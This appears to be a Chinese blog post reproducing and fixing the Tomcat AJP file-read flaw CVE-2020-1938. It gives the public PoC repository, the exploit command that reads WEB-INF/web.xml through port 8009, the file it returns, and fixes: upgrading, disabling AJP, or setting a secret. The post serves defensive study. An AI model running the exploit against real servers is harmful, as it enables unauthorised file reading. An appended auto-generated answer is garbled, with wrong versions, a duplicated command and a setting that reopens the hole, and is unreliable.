【Tomcat】CVE-2020-1938 漏洞复现&解决

一、漏洞说明

Tomcat默认开启AJP服务(8009端口),存在一处文件包含缺陷。攻击者可以通过构造的恶意请求包来进行文件包含操作,从而读取或包含Tomcat上所有webapp目录下的任意文件,如:webapp配置文件或源代码等。

二、复现

  1. 本地使用问题版本 tomcat 启动服务,本文使用 apache-tomcat-8.5.16 版本

  2. 下载复现用的 python 脚本,要求 python 版本 2.7

    git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git
    
  3. 使用 conda 创建运行脚本所需的环境,省略 conda 安装过程,本文安装的是 miniConda

    # 创建名为 CNVD-2020-10487-Tomcat-Ajp-lfi 的虚拟空间,并指定 python 版本为2.7
    conda create -n CNVD-2020-10487-Tomcat-Ajp-lfi python=2.7
    
    # 激活 CNVD-2020-10487-Tomcat-Ajp-lfi 虚拟空间
    conda activate CNVD-2020-10487-Tomcat-Ajp-lfi
    
  4. 使用脚本利用漏洞读取文件

    python ./CNVD-2020-10487-Tomcat-Ajp-lfi.py 127.0.0.1 -p 8009 -f WEB-INF/web.xml
    
  5. 控制台输出对应文件内容

    Getting resource at ajp13://127.0.0.1:8009/asdf
    ----------------------------
    <?xml version="1.0" encoding="UTF-8"?>
    <!--
     Licensed to the Apache Software Foundation (ASF) under one or more
      contributor license agreements.  See the NOTICE file distributed with
      this work for additional information regarding copyright ownership.
      The ASF licenses this file to You under the Apache License, Version 2.0
      (the "License"); you may not use this file except in compliance with
      the License.  You may obtain a copy of the License at
    
          http://www.apache.org/licenses/LICENSE-2.0
    
      Unless required by applicable law or agreed to in writing, software
      distributed under the License is distributed on an "AS IS" BASIS,
      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
      See the License for the specific language governing permissions and
      limitations under the License.
    -->
    <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                          http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
      version="3.1"
      metadata-complete="true">
    
      <display-name>Welcome to Tomcat</display-name>
      <description>
         Welcome to Tomcat
      </description>
    
    </web-app>
    

三、修复

  1. 首先建议升级 tomcat 版本,升级到 9.0.318.5.517.0.100 以上版本。

  2. 无法更新版本,可以考虑临时禁用 AJP 协议8009端口,在 tomcat 根目录下找到 conf/server.xml 配置文件中注释掉 <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

  3. 如需要用到 ajp 协议(未经本人验证,只是提供参考,还请自行验证可行性

    • 修改默认端口

    • 为 AJP Connector 配置 secret

    <Connector port="18009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>
    
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
复现Tomact_CVE-2020-1938漏洞,可以按照以下步骤进行操作: 1. 下载POC:可以使用以下命令下载POC文件: git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/ 2. 在攻击机上搭建环境:确保攻击机上已经安装了Tomcat服务器,并且版本在3.4.3以下,可以使用以下命令下载并安装Tomcat 3.4.3版本: git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/ 3. 配置Tomcat服务器:在Tomcat安装目录下,找到server.xml文件,在<Connector>标签中添加以下内容: protocol="org.apache.coyote.ajp.AjpNio2Protocol" secretRequired="false" 4. 启动Tomcat服务器:在Tomcat安装目录下运行启动脚本,如./catalina.sh run 5. 复现漏洞:使用以下命令触发漏洞复现: python3 file_include.py -u http://目标IP:目标端口/ -p /WEB-INF/web.xml 以上步骤可以帮助你复现Tomact_CVE-2020-1938漏洞。请注意,在进行漏洞复现时务必遵守道德规范,并获得合法授权进行测试。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [CVE-2020-1938 漏洞复现](https://blog.csdn.net/weixin_48799157/article/details/124889366)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* [CVE-2020-1938 Tomcat文件包含漏洞复现](https://blog.csdn.net/qq_49279082/article/details/129018726)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值